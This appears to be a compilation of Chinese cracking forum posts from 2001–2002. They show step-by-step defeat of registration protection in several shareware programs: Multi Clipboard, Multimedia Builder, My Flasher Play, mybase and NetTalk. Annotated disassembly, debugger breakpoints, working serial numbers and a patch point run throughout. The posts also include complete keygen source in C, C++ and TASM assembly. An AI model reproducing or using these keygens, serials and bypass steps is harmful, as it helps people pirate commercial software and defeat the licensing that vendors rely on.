:00407E56 F3 repz
:00407E57 A5 movsd<----------------把'Multi Clipboard'接在小写的用户名后
:00407E58 8BCA mov ecx, edx
:00407E5A 8B542418 mov edx, dword ptr [esp+18]<---------0x9b((2)的计算结果)
:00407E5E 83E103 and ecx, 00000003
:00407E61 F3 repz
:00407E62 A4 movsb
:00407E63 8A0DFC044400 mov cl, byte ptr [004404FC]<---------连接后的第1位0x6c('l')
:00407E69 33F6 xor esi, esi
:00407E6B 3ACB cmp cl, bl
:00407E6D 89742410 mov dword ptr [esp+10], esi
:00407E71 7431 je 00407EA4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407E9A(C)
|
:00407E73 8BC1 mov eax, ecx
:00407E75 25FF000000 and eax, 000000FF
:00407E7A 8D3CC0 lea edi, dword ptr [eax+8*eax]<---------9*0x6c==0x3cc
:00407E7D 03C6 add eax, esi<---------------------------0x6c+0x0(序号)==0x6c
:00407E7F 8D0478 lea eax, dword ptr [eax+2*edi]<---------0x6c+2*0x3cc==0x804
:00407E82 03D0 add edx, eax<---------------------------0x9b+0x804==0x89f
:00407E84 80F960 cmp cl, 60<------------------------第1位为字母
:00407E87 7305 jnb 00407E8E
:00407E89 83C215 add edx, 00000015
:00407E8C EB03 jmp 00407E91

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407E87(C)
|
:00407E8E 83EA15 sub edx, 00000015<-------------------0x89f-0x15==0x88a

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407E8C(U)
|
:00407E91 8A8EFD044400 mov cl, byte ptr [esi+004404FD]<----------取第2位
:00407E97 46 inc esi
:00407E98 3ACB cmp cl, bl<-------------------------是否为0
:00407E9A 75D7 jne 00407E73<-----------------------不为0则继续循环
:00407E9C 89742410 mov dword ptr [esp+10], esi<--------0x384
:00407EA0 89542418 mov dword ptr [esp+18], edx<--------0xc28a<---最后结果
~~~~~~

******************************************************************
0xc28a==049802

049802 的ASCII值为 30 34 39 38 30 32
+0 +1 +2 +3 +4 +5
—————————
30 35 3B 3B 34 37 <------------注册码
******************************************************************

=========================================================================================
* Referenced by a CALL at Address:<----------------------------------计算(2)
|:00407E2B
|
:00407FE0 55 push ebp
:00407FE1 8BEC mov ebp, esp
:00407FE3 83EC08 sub esp, 00000008
:00407FE6 8B450C mov eax, dword ptr [ebp+0C]
:00407FE9 53 push ebx
:00407FEA 56 push esi
:00407FEB 57 push edi
:00407FEC 8B7D08 mov edi, dword ptr [ebp+08]
:00407FEF 668B08 mov cx, word ptr [eax]
:00407FF2 660FB605FD044400 movzx ax, byte ptr [004404FD]<-------用户名的第2位0x61('a')
:00407FFA 8B17 mov edx, dword ptr [edi]
:00407FFC 894DF8 mov dword ptr [ebp-08], ecx
:00407FFF 660FB60DFE044400 movzx cx, byte ptr [004404FE]<-------用户名的第3位0x6e('n')
:00408007 8955FC mov dword ptr [ebp-04], edx
:0040800A 03C8 add ecx, eax<------------------------0x6e+0x61==0xcf
:0040800C 660FB615FC044400 movzx dx, byte ptr [004404FC]<-------用户名的第1位0x6c('l')
:00408014 03CA add ecx, edx<------------------------0xcf+0x6c==0x13b
:00408016 B856555555 mov eax, 55555556
:0040801B 81E1FFFF0000 and ecx, 0000FFFF
:00408021 F7E9 imul ecx<-----------------------0x55555556*0x13b==0x69000000d2
:00408023 8BC2 mov eax, edx<------------------------0x69
:00408025 8BC8 mov ecx, eax
:00408027 C1E91F shr ecx, 1F<-------------------------0x69>>0x1f==0x0
:0040802A 03C1 add eax, ecx<------------------------0x69+0x0===0x69
:0040802C 3C30 cmp al, 30
:0040802E 7208 jb 00408038
:00408030 3C39 cmp al, 39
:00408032 7704 ja 00408038<--------------------------是否位数字
:00408034 2C30 sub al, 30<---------------------------是则减0x30
:00408036 EB1A jmp 00408052

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040802E(C), :00408032(C)
|
:00408038 3C61 cmp al, 61
:0040803A 7208 jb 00408044
:0040803C 3C7A cmp al, 7A
:0040803E 7704 ja 00408044<---------------------是否为字母
:00408040 2C61 sub al, 61<----------------------是则减0x61
:00408042 EB0E jmp 00408052 0x69-0x61==0x8

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00408036(U), :00408042(U), :00408046(C), :0040804E(U)
|
:00408052 8AC8 mov cl, al<--------------------------0x8
:00408054 80F91A cmp cl, 1A
:00408057 884D0C mov byte ptr [ebp+0C], cl
:0040805A 761F jbe 0040807B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040805A(C)
|
:0040807B 8B450C mov eax, dword ptr [ebp+0C]
:0040807E 8BC8 mov ecx, eax
:00408080 81E1FF000000 and ecx, 000000FF<------------------0x8
:00408086 49 dec ecx<----------------------------0x8-0x1==0x7
:00408087 83F918 cmp ecx, 00000018
:0040808A 0F87EA000000 ja 0040817A
:00408090 FF248DEC814000 jmp dword ptr [4*ecx+004081EC]<-----jmp [00408208]
=> jmp 0040815a

=======================================================================================
* Referenced by a CALL at Address:
|:0040815B
|
:00407780 8B4C2404 mov ecx, dword ptr [esp+04]<--------0x8
:00407784 8B15FC044400 mov edx, dword ptr [004404FC]<------0x63('l')
:0040778A 81E1FF000000 and ecx, 000000FF
:00407790 81E2FF000000 and edx, 000000FF
:00407796 0FAFD1 imul edx, ecx<----------------------0x63*0x8==0x360
:00407799 B8ABAAAAAA mov eax, AAAAAAAB
:0040779E 8D0C49 lea ecx, dword ptr [ecx+2*ecx]<-----0x3*0x8==0x18
:004077A1 F7E2 mul edx<----------------0xaaaaaaab*0x360==0x24000000120
:004077A3 8BC2 mov eax, edx<-------------------0x240
:004077A5 D1E8 shr eax, 1<---------------------0x240>>0x1==0x120
:004077A7 C1E903 shr ecx, 03<--------------------0x18>>0x3==0x3
:004077AA 0FAFC1 imul eax, ecx<------------------0x120*0x3==0x360
:004077AD 83C008 add eax, 00000008<--------------0x360+0x8==0x368
:004077B0 C3 ret<----------------------------回到:00408160
=======================================================
:0040815A 50 push eax
=======================================================
:0040815A 50 push eax
:0040815B E820F6FFFF call 00407780
:00408160 EB1E jmp 00408180<------------------回到这里

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040809D(U), :004080A8(U), :004080B3(U), :004080BE(U), :004080C9(U)
|:004080D4(U), :004080DF(U), :004080EA(U), :004080F5(U), :00408100(U)
|:00408108(U), :00408110(U), :00408118(U), :00408120(U), :00408128(U)
|:00408130(U), :00408138(U), :00408140(U), :00408148(U), :00408150(U)
|:00408158(U), :00408160(U), :00408168(U), :00408170(U), :00408178(U)
|
:00408180 83C404 add esp, 00000004
:00408183 88450F mov byte ptr [ebp+0F], al<-----------0x68
:00408186 6656 push si
:00408188 2BC0 sub eax, eax
:0040818A 2BDB sub ebx, ebx
:0040818C 2BC9 sub ecx, ecx
:0040818E 2BD2 sub edx, edx
:00408190 2BF6 sub esi, esi
:00408192 668BC3 mov ax, bx
:00408195 66FF75FC push [ebp-04]
:00408199 662BD2 sub dx, dx
:0040819C 8A550F mov dl, byte ptr [ebp+0F]<---------0x68
:0040819F 6689550A mov word ptr [ebp+0A], dx
:004081A3 66FF750A push [ebp+0A]
:004081A7 662BD8 sub bx, ax
:004081AA 668B5DF8 mov bx, word ptr [ebp-08]
:004081AE 6658 pop ax<----------------------------0x68
:004081B0 0283FC044400 add al, byte ptr [ebx+004404FC]<---用户名的第2位0x61('a')
:004081B6 668BC8 mov cx, ax \---0x68+0x61==0xc9
:004081B9 668BF3 mov si, bx
:004081BC 8AA6B8A54300 mov ah, byte ptr [esi+0043A5B8]<---查表，0x37
:004081C2 0AC4 or al, ah<------------------------0xc9|0x37==0xff
:004081C4 66D3C8 ror ax, cl<-----------------------0x37ff>>0xc9==0xff9b
:004081C7 6659 pop cx
:004081C9 6625FF00 and ax, 00FF<---------------------0x9b
:004081CD 6603C8 add cx, ax
:004081D0 6651 push cx
:004081D2 668BD8 mov bx, ax
:004081D5 668BD3 mov dx, bx
:004081D8 668F45FC pop [ebp-04]
:004081DC 665E pop si
:004081DE 8B55FC mov edx, dword ptr [ebp-04]
:004081E1 8917 mov dword ptr [edi], edx
:004081E3 5F pop edi
:004081E4 5E pop esi
:004081E5 5B pop ebx
:004081E6 8BE5 mov esp, ebp
:004081E8 5D pop ebp
:004081E9 C3 ret<-----------------------------返回:00407e30
=================================================
用户名：lancelot[CCG]
注册码：30 35 3B 3B 34 37

,;~;,
/\_
( /
(() //)
| \\ ,,;;'\
__ _( )m=(lancelot(================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ) 兰斯洛特[CCG][FCG]
) / ) /
// || 2001.09.30
)_\ )_\
========================================================


Multimedia Builder MP3 4.7b

 标 题:如何破解Multimedia Builder MP3 4.7b (7千字)
发信人:夜月
时 间:2001-10-4 11:29:47
详细信息:
如何破解Multimedia Builder MP3 4.7b
软件简介：
多媒体制作软件，假如你需要制作一些有创作力的多媒体产品，而没有时间学习如何制作，不妨试
试MMB这种互动式的多媒体制作软件，MMB能制作互动式多媒体应用产品，容易使用并且操作简单，能制作的
多媒体产品包含卡片，产品介绍发表，光盘AutoRun选单等。

所需工具：
1.TRW2000
2.W32Dasm
3.运气 ^_^

正文：
废话少说，按照一般的方法，我们可以跟踪到如下信息：
:004A19B9 8D755C lea esi, dword ptr [ebp+5C]

* Possible StringData Ref from Data Obj ->"@"
|
:004A19BC 681CC45D00 push 005DC41C
:004A19C1 8BCE mov ecx, esi
:004A19C3 E866D60A00 call 0054F02E //判断名字中是否有@符号存在
:004A19C8 83F8FF cmp eax, FFFFFFFF
:004A19CB 7521 jne 004A19EE
:004A19CD 6A00 push 00000000
:004A19CF 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"Please enter the Name exactly "
->"as it is stated
in the registration "
->"e-mail you received."
|
:004A19D1 68BCE05D00 push 005DE0BC
:004A19D6 E814D90B00 call 0055F2EF
:004A19DB 8B4C2424 mov ecx, dword ptr [esp+24]

名字判断正确后，来到：
* Possible StringData Ref from Data Obj ->"1-"
|
:004A1B98 6868C55D00 push 005DC568
:004A1B9D 8D4C2428 lea ecx, dword ptr [esp+28]

* Possible Ref to Menu: MenuID_0075, Item: "Close"
|
:004A1BA1 C744241C01000000 mov [esp+1C], 00000001
:004A1BA9 E880D40A00 call 0054F02E //判断注册号起始是否为“1-”
:004A1BAE 85C0 test eax, eax
:004A1BB0 752D jne 004A1BDF

继续走，来到：
:004A1BDF 55 push ebp
:004A1BE0 56 push esi
:004A1BE1 57 push edi

* Possible StringData Ref from Data Obj ->"-"
|
:004A1BE2 6828B55D00 push 005DB528
:004A1BE7 8D4C2434 lea ecx, dword ptr [esp+34]
:004A1BEB E83ED40A00 call 0054F02E //判断注册号后面是否含有“-”
:004A1BF0 8B0D7CCF5E00 mov ecx, dword ptr [005ECF7C]
:004A1BF6 8BF0 mov esi, eax
:004A1BF8 894C2410 mov dword ptr [esp+10], ecx
:004A1BFC 83FEFF cmp esi, FFFFFFFF
:004A1BFF C644242403 mov [esp+24], 03
:004A1C04 7E59 jle 004A1C5F

名字和注册号格式的判断到此为止，我们可以知道序列号的格式应该是：
1-xxxxxx-yyyy
下面来到关键比较：
:004A1CBD 8A1438 mov dl, byte ptr [eax+edi] //eax+edi指向我们输入的序列号的
1-xxxxxx部分
:004A1CC0 88542418 mov byte ptr [esp+18], dl
:004A1CC4 8B542418 mov edx, dword ptr [esp+18]
:004A1CC8 81E2FF000000 and edx, 000000FF
:004A1CCE 03F2 add esi, edx //ASCII码相加
:004A1CD0 40 inc eax
:004A1CD1 3BC1 cmp eax, ecx
:004A1CD3 7CE8 jl 004A1CBD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A1CBB(C)
|
:004A1CD5 5F pop edi
:004A1CD6 3BF5 cmp esi, ebp //ebp中的值就是序列号中的yyyy，和上面计算
出来的和进行比较
:004A1CD8 5E pop esi
:004A1CD9 5D pop ebp
:004A1CDA C644241803 mov [esp+18], 03
:004A1CDF 8D4C2400 lea ecx, dword ptr [esp]
:004A1CE3 7548 jne 004A1D2D //bad guy!
跟踪到这里，假设一个序列号：
Name: luoyi@263.net
Code: 1-98765-369
输入，回车。没有出错提示。信息窗口显示：Registed to: luoyi@263.net
成功了？
别急，点菜单：Project-->Run
看到没有？“Created with unregisted version of Multimedia Builder”！
做出来的东西如果带着这么一个标记？是不是很丑？呵呵……
怎么办？bpm?bpr?
看看未注册信息与众不同的地方：黄色的背景色！熟悉Windows编程的马上就会想到：
SetBkColor！对！我们就用SetBkColor设断！
bpx setbkcolor if (*(esp+8)==0000ffff) //颜色为黄色:Red=255,Green=255,Blue=0
继续点击菜单，boom!被TRW2000拦下，pmodule，来到如下地点：
:0055A485 FF74240C push [esp+0C]
:0055A489 56 push esi
:0055A48A FFD7 call edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0055A483(C)
|
:0055A48C 5F pop edi
:0055A48D 5E pop esi
:0055A48E C20400 ret 0004
F12出去，看到：
:004B33AC E883750A00 call 0055A934

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B3329(C)
|
:004B33B1 81BE90030000CA380400 cmp dword ptr [esi+00000390], 000438CA
:004B33BB 0F848B010000 je 004B354C
:004B33C1 8B157CCF5E00 mov edx, dword ptr [005ECF7C]
:004B33C7 89542410 mov dword ptr [esp+10], edx

* Possible StringData Ref from Data Obj ->"!thhqjwE$fjfhqnunxQ%gq#rtjuui{!fhvjuulkjspx$mu"
->"kz$ifvdiwD""
|
:004B33CB 68D4305E00 push 005E30D4
:004B33D0 8D4C2414 lea ecx, dword ptr [esp+14]
:004B33D4 C684249000000002 mov byte ptr [esp+00000090], 02
:004B33DC E887390A00 call 00556D68
:004B33E1 68FFFF0000 push 0000FFFF
:004B33E6 8D4C2448 lea ecx, dword ptr [esp+48]
:004B33EA E873700A00 call 0055A462
:004B33EF 53 push ebx
:004B33F0 8D4C2448 lea ecx, dword ptr [esp+48]
:004B33F4 E850710A00 call 0055A549
:004B33F9 895C2440 mov dword ptr [esp+40], ebx
:004B33FD C744243C84275B00 mov [esp+3C], 005B2784
那一大堆乱七八糟的字符串参考就是“Created with unregisted version of
Multimedia Builder”的密文。很明显，比较处在：
:004B33B1 81BE90030000CA380400 cmp dword ptr [esi+00000390], 000438CA
看看[esi+390]里头放了什么东西？1864fH=99919D
莫名其妙，看不出和我们输入的序列号有什么联系，你想找到他的来源？好，一层层的往外剥，结
果还是一无所获。
现在知道我为什么把“运气”列为第3个工具了吧？如果不是今天我运气好，可能这个软件就搞不定
了！运气是什么呢？接着往下看：
让我们改变一下序列号，然后看看改变以后[esi+390]中存放的值有何变化：

序列号 [esi+390]
1-98765-369 99919
1-98766-370 99920
1-98775-370 99929
1-98865-370 100019
1-99765-370 100919
1-88765-368 89919

还需要更详细的说明吗？规律很明显了，至于99919和98765中间所差的那1154，相信你也应该能猜到
了——对！就是luoyi@263.net字符串各字符ASCII码的和！
凭借着好运气，找到了算法，可是注册机的编写就没什么运气了。老老实实的一句句的写：

文件名：mmb.c
编译环境:turbo c 2.0
编译方法：直接在集成开发环境里Make EXE就成功了！

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
main()
{
unsigned long sum;
int i;
char sn[20]={"1-"},temp3[2]={"-"};
static char temp1[10],temp2[10],name[20];
again: puts("Please Input Your Name:\n");
gets(name);
if (!strchr(name,'@'))
{
puts("Name Must Include '@'!");
goto again;
}
for (i=0,sum=0;i<strlen(name);i++) sum+=name[i];
ultoa(276682-sum,temp1,10);
strcat(sn,temp1);
sum=0;i=0;
while(sn[i])
{
sum+=sn[i];
i++;
}
ultoa(sum,temp2,10);
strcat(sn,temp3);
strcat(sn,temp2);
printf("Your RegCode Is:%s",sn);

}

说真的，真希望以后每次都能有这么好的运气！


My Flasher Play 1.4

 标 题:stkman[CCG]大哥的东西太厉害了，我这菜鸟看不懂.搞个菜鸟都能懂的My Flasher Play 1.4 (破解+算法分析+注册机) (2千字)
发信人:fwnl
时 间:2002-1-24 15:14:01
详细信息:
My Flasher Play 1.4 (破解+算法分析+注册机)
crack by fwnl
下载地址:
http://ln.skycn.net/down/14.exe
http://www.skycn.com/down1.php?id=6936
软件简介:
这是一个具有变体换肤、播放列表、进度条、Exe2Swf、自动搜索文件夹中的动画等功能的Flash动画播放器。它可使你随心所欲的控制Flash动画的播放：）此外界面简单，操作方便，几乎不需要帮助，就可掌握使用：）在视图上，它有三种视图，特别是精简视图和使窗口‘总在最上’的功能给合，可满足那些喜欢一边工作一边看动画的朋友：）此版本吸收了一些网友的建议，改进了播放列表的功能，可直接打开Exe格式的动画，同时修改了一些bug，欢迎下载使用

破解工具: trw2000 1.22 W32DASM 8.93

用trw2000载入软件后,按F5返回程序,点注册并填入任意数字,按ctrl+n呼出trw2000下bpx hmemcpy,F5返回，点确定,程序中断后下bd *,按几下(我按了14下
)F10可来到下面:
:00472E71 BA842F4700 mov edx, 00472F84
:00472E76 E8CD1CF9FF call 00404B48
:00472E7B 0F84D2000000 je 00472F53
:00472E81 33D2 xor edx, edx
:00472E83 55 push ebp
:00472E84 683F2F4700 push 00472F3F
:00472E89 64FF32 push dword ptr fs:[edx]
:00472E8C 648922 mov dword ptr fs:[edx], esp
:00472E8F 8D55F4 lea edx, dword ptr [ebp-0C]
:00472E92 8B83F8020000 mov eax, dword ptr [ebx+000002F8]
:00472E98 E847A3FCFF call 0043D1E4
:00472E9D 8B45F4 mov eax, dword ptr [ebp-0C]
:00472EA0 E88B60F9FF call 00408F30
:00472EA5 8BF0 mov esi, eax <===把你输入的注册码送入esi
:00472EA7 A1487F4700 mov eax, dword ptr [00477F48]<===把你的机器码送入eax
:00472EAC 05671B3B07 add eax, 073B1B67 <==eax与73b1b67相加,结果送入eax
:00472EB1 25AB702E01 and eax, 012E70AB <==eax与12e70ab作与运算,结果送入eax
:00472EB6 0578030000 add eax, 00000378 <==eax加上378,结果送入eax
:00472EBB 3BC6 cmp eax, esi <==真假注册码比较 ? eax 可得真码
:00472EBD 7446 je 00472F05
:00472EBF 81FEBD56B800 cmp esi, 00B856BD
:00472EC5 7532 jne 00472EF9

* Possible StringData Ref from Code Obj ->"感谢注册！"

哈哈，算法是不是太简单了，那就正适合我这菜鸟做注册机了:)
算法分析: 由上面的代码可知正解的注册码是用你的机器码加上73b1b67的结果和12e70ab作与运算再加上378.
73b1b67转十进制为121314151
12e70ab转十进制为19820715(哈哈，可能是作者生日)
378 转十进制为888

看到这里，我想大家都能写出注册机了。:)
下面是我用c++写的一个
#include<iostream.h>
void main()
{
unsigned long int a;
cout<<"Please input your ID :";
cin>>a;
cout<<"Your Register code is :"<<((a+121314151)&19820715)+888<<endl;
}

哈哈，是不是非常简单.
祝各位玩得开心!! fwnl
2002.1.24
长沙

标 题:补充
发信人:leeyam
详细信息:

:00472EA0 E88B60F9FF call 00408F30
:00472EA5 8BF0 mov esi, eax <===把你输入的注册码送入esi
:00472EA7 A1487F4700 mov eax, dword ptr [00477F48]<===把你的机器码送入eax
:00472EAC 05671B3B07 add eax, 073B1B67 <==eax与73b1b67相加,结果送入eax
:00472EB1 25AB702E01 and eax, 012E70AB <==eax与12e70ab作与运算,结果送入eax
:00472EB6 0578030000 add eax, 00000378 <==eax加上378,结果送入eax
:00472EBB 3BC6 cmp eax, esi <==真假注册码比较 ? eax 可得真码
:00472EBD 7446 je 00472F05
:00472EBF 81FEBD56B800 cmp esi, 00B856BD ==> 这里还有一个比较，将“B856BD”跟你输入的注册码相比，如过它也不等才跳！下 ? B856bd 得到 12080829 试试吧！
:00472EC5 7532 jne 00472EF9


mybase v4.52 8

 标 题:keygen of mybase v4.52 8^) (7千字)
发信人:arbiter
时 间:2001-10-17 23:04:03
详细信息:
;------------------------------------------------------------------------
; About:
; keygen for mybase v4.52 coded by arbiter.
; this software are protected with a medium intensity scheme.
; Assemble:
; tasm32 /mx /m4 /z keygen.asm
; tlink32 -x -V4.0 -Tpe -aa -c keygen.obj,keygen,,,keygen.def,keygen.res
;------------------------------------------------------------------------

.386
.MODEL FLAT, STDCALL
LOCALS
UNICODE = 0

; below is what you need to compile this source. the inc. and imp32.

include E:\TASM5Plus\TASM5Plus\INCLUDE\w32.inc
includelib E:\TASM5Plus\TASM5Plus\LIB\imp32i.lib

; defined the resource for sequent operation.

IDD_MAINDLG = 101
BT_GENERATE = 1001
BT_EXIT = 1002
EDIT_NAME = 1003
EDIT_KEY = 1004

; declare the imported functions.

extrn wsprintfA : PROC
extrn CharUpperA : PROC
extrn strcat : PROC
extrn strcpy : PROC

; the limitation of input char lengths

MINCHARS = 5
MAXCHARS = 16

; data area

.DATA

defaultName db "arbiter", 0
paddingName db "junjiao.wang", 0
paddingLen = ( $ - paddingName )
format db "%s-%s-%s-%s", 0
cctable db "3456789ABCDEFGHJKMNPQRSTWXY", 0

;testmsg db "test!", 0
;debugIt db "debug!", 0
; -----------------------------------------------------------------
nameError db "Name 5 to 16 chars.NO leading/trailing spaces.", 0

; -----------------------------------------------------------------
.DATA?
hdlg dd ?
_hInst dd ?
nlen dd ?

userinput db 60 dup(?)

tempKey1 dd ?
tempKey2 dd ?
tempKey3 dd ?
tempKey4 dd ?

keyPart1 db 10 dup(?)
keyPart2 db 10 dup(?)
keyPart3 db 10 dup(?)
keyPart4 db 10 dup(?)

userCode db 60 dup(?)

; ------------------------ start ---------------------------------
.CODE
start: pushad
call GetModuleHandle, 0
test eax, eax
je ExitKeyGen
mov _hInst, eax
call DialogBoxParamA, _hInst, IDD_MAINDLG, 0, offset DlgProc, 0
ExitKeyGen:
popad
call ExitProcess, 0
RET
;------------------------- DlgProc --------------------------------
DlgProc proc __hWnd:HWND, wmsg:UINT, _wparam:WPARAM, _lparam:LPARAM
uses ebx, edi, esi
mov eax, wmsg
cmp eax, WM_CLOSE
jz _wmDestroy
cmp eax, WM_COMMAND
jz _wmCommand
cmp eax, WM_INITDIALOG
jz _wmInitDlg
xor eax, eax
RET
; ------------------------ End DlgProc ----------------------------

; ------------------------ sub process ----------------------------
_wmDestroy:
call EndDialog, hdlg, 0
RET
; ----------------------------------------------------------------
_wmInitDlg:
mov eax, __hWnd
mov hdlg, eax
call GetDlgItem, __hWnd, EDIT_NAME
call SendMessageA, eax, EM_SETLIMITTEXT, MAXCHARS, 0
call SetDlgItemTextA, __hWnd, EDIT_NAME, offset defaultName
push 1
pop eax
RET
; ----------------------------------------------------------------
_wmCommand:
mov eax, _wparam
cmp ax, BT_EXIT
jz _wmDestroy
cmp ax, BT_GENERATE
jnz @out
call GenerateIt
@out: xor eax, eax
RET
; -----------------------------------------------------------------
DlgProc ENDP
; -----------------------------------------------------------------

; -----------------------------------------------------------------
; ###################### Generate KeyCode #########################
; -----------------------------------------------------------------
GenerateIt proc
xor eax, eax
mov tempKey1, eax
mov tempKey2, eax
mov tempKey3, eax
mov tempKey4, eax
call GetDlgItemTextA, hdlg, EDIT_NAME, offset userinput, MAXCHARS+1
cmp eax, MINCHARS
jl @error
mov nlen, eax
; --------------------- for debugging ----------------------------------
; call MessageboxA, hdlg, offset testmsg, offset debugIt, MB_OK
; ----------------------------------------------------------------------
call GenTempKey, offset tempKey2, offset userinput, nlen
call strcat, offset userInput, offset paddingName
add esp, 8
mov eax, nlen
add eax, paddingLen
dec eax
mov nlen, eax
call GenTempKey, offset tempKey1, offset userinput, nlen
xor eax, eax
xor ebx, ebx
mov eax, tempKey1
mov ebx, tempKey2
push eax
sub eax, ebx
mov tempKey4, eax
pop eax
add eax, ebx
mov tempKey3, eax
call GenEveryPart, offset keyPart1, tempKey1
call GenEveryPart, offset keyPart2, tempKey2
call GenEveryPart, offset keyPart3, tempKey3
call GenEveryPart, offset keyPart4, tempKey4
call wsprintfA, offset userCode, offset format, offset keyPart1, \
offset keyPart2, offset keyPart3, offset keyPart4
add esp, 24
call SetDlgItemTextA, hdlg, EDIT_KEY, offset userCode
@finish:
xor eax, eax
RET
@error: call SetDlgItemTextA, hdlg, EDIT_KEY, offset nameError
jmp @finish
GenerateIt ENDP
; -----------------------------------------------------------------
; function: void GenTempKey( tempKey, userInput, nlen )
; describe: operating base on userInput to yield one DWORD value.
; -----------------------------------------------------------------
GenTempKey proc
push ebp
mov ebp, esp
push edi
push esi
xor edi, edi
xor esi, esi
mov ebx, [ebp+12]
mov edi, dword ptr[ebp+16]
@loop1:
mov eax, [ebp+8]
push eax
mov dl, byte ptr[ebx]
push edx
call Computel
add esp, 8
inc esi
inc ebx
cmp edi, esi
jg @loop1
pop esi
pop edi
pop ebp
xor eax, eax
RET 12
GenTempKey ENDP
; --------------------------------------------------------------------
Computel proc
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+12]
xor edx, edx
mov eax, [esi]
mov ecx, eax
mov ebx, eax
xor eax, eax
and ecx, 0FFFFh
mov al, [ebp+8]
add eax, ecx
mov ecx, 0FFF1h
div ecx
shr ebx, 10h
mov ecx, edx
and ebx, 0FFFFh
xor edx, edx
lea eax, [ecx+ebx]
mov ebx, 0FFF1h
div ebx
mov ebx, edx
shl ebx, 10h
add ecx, ebx
mov [esi], ecx
pop esi
pop ebx
pop ebp
RET
Computel ENDP
; --------------------------------------------------------------------

; --------------------------------------------------------------------
; ######################## GenEveryPart keyCode #######################
; --------------------------------------------------------------------
GenEveryPart proc
push ebp
mov ebp, esp
push ecx
push ebx
push edx
push esi
push edi
xor ebx, ebx
mov edi, [ebp+8]
mov esi, dword ptr[ebp+12]
@loop2:
mov ecx, esi
not ecx
and ecx, 0ffh
mov eax, ecx
xor edx, edx
mov ecx, 27
div ecx
mov eax, edx
mov al, cctable[eax]
stosb
shr esi, 8
inc ebx
cmp ebx, 4
jl @loop2
pop edi
pop esi
pop edx
pop ebx
pop ecx
pop ebp
RET 8
GenEveryPart ENDP

END start
;;


NetTalk

 标 题:NetTalk破解与注册机(高手勿进） (10千字)
发信人:BlueBoy[CCG]
时 间:2001-9-20 1:22:22
详细信息:
NetTalk破解与注册机
作者:BlueBoy
组织:CCG
软件介绍:该软件主要用于网络聊天，未注册版有连接人数的限制。
使用工具:RegMon,Wasm,Soft-ice

好了废话不说，现在开始了，
首先用Fi检测文件是否加壳(哈哈，例行公事),果然加壳，壳类型为UPX，取出脱壳法宝
pdump,轻松搞定。用Wasm反汇编，用串式参考寻找“未注册”,哇，没有几个汉字（晕，
可能是脱壳不完全造成的），算了反正代码能看懂了，就这样。
用loader装入NetTalk设断bpx hmemcpy运行程序，输入注册码程序在hmemcpy中断，按F12 n次后进入程序
领空，然后按F10单步运行，不久程序来到
:0048266E 8D55EC lea edx, dword ptr [ebp-14]
:00482671 8B45FC mov eax, dword ptr [ebp-04]
:00482674 8B8044040000 mov eax, dword ptr [eax+00000444]
:0048267A E895A8FAFF call 0042CF14《----程序来到这里
:0048267F 8B45EC mov eax, dword ptr [ebp-14]
:00482682 8D4DF0 lea ecx, dword ptr [ebp-10]<--在这里D EAX 看到我输入注册码，所以call 0042cf14可能是
取字串的函数，
:00482685 B27D mov dl, 7D
:00482687 E800B1FDFF call 0045D78C〈------将输入的注册码加密
:0048268C 8B45F0 mov eax, dword ptr [ebp-10]
:0048268F 8D55F8 lea edx, dword ptr [ebp-08]
:00482692 E881AEFDFF call 0045D518
:00482697 8D55E8 lea edx, dword ptr [ebp-18]
:0048269A 8B45FC mov eax, dword ptr [ebp-04]
:0048269D 8B803C040000 mov eax, dword ptr [eax+0000043C]
:004826A3 E86CA8FAFF call 0042CF14
:004826A8 8B45E8 mov eax, dword ptr [ebp-18]
:004826AB 8D55F4 lea edx, dword ptr [ebp-0C]〈---在这里D EAX
看到机器码
:004826AE E8B9CAFFFF call 0047F16C〈------将机器码加密
:004826B3 33C0 xor eax, eax
:004826B5 5A pop edx
:004826B6 59 pop ecx
:004826B7 59 pop ecx
:004826B8 648910 mov dword ptr fs:[eax], edx
:004826BB EB1A jmp 004826D7 〈---程序跳转

:004826D7 837DF800 cmp dword ptr [ebp-08], 00000000 \
:004826DB 0F8483010000 je 00482864 |比较是
:004826E1 837DF400 cmp dword ptr [ebp-0C], 00000000 |否为空
:004826E5 0F8479010000 je 00482864 /
:004826EB 8B45F8 mov eax, dword ptr [ebp-08]
:004826EE 8B55F4 mov edx, dword ptr [ebp-0C]
:004826F1 E8DE17F8FF call 00403ED4〈-----关键Call比较注册码
:004826F6 0F8589000000 jne 00482785〈------跳转
在此处rfl z 后运行，程序显示“注册版“
不过往下看还有类似语句

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004826F6(C)
|
:00482785 8D55D0 lea edx, dword ptr [ebp-30]
:00482788 8B45FC mov eax, dword ptr [ebp-04]
:0048278B 8B8044040000 mov eax, dword ptr [eax+00000444]
:00482791 E87EA7FAFF call 0042CF14〈------取码
:00482796 8B45D0 mov eax, dword ptr [ebp-30]
:00482799 8D4DD4 lea ecx, dword ptr [ebp-2C]
:0048279C B2AF mov dl, AF
:0048279E E8E9AFFDFF call 0045D78C〈-----将输入的码加密
:004827A3 8B45D4 mov eax, dword ptr [ebp-2C]
:004827A6 8D55F8 lea edx, dword ptr [ebp-08]
:004827A9 E86AADFDFF call 0045D518
:004827AE 8D55CC lea edx, dword ptr [ebp-34]
:004827B1 8B45FC mov eax, dword ptr [ebp-04]
:004827B4 8B803C040000 mov eax, dword ptr [eax+0000043C]
:004827BA E855A7FAFF call 0042CF14〈------取玛
:004827BF 8B45CC mov eax, dword ptr [ebp-34]
:004827C2 8D55F4 lea edx, dword ptr [ebp-0C]
:004827C5 E8A2C9FFFF call 0047F16C 〈-----将机器码加密
:004827CA 8B45F8 mov eax, dword ptr [ebp-08]
:004827CD 8B55F4 mov edx, dword ptr [ebp-0C]
:004827D0 E8FF16F8FF call 00403ED4 〈----比较
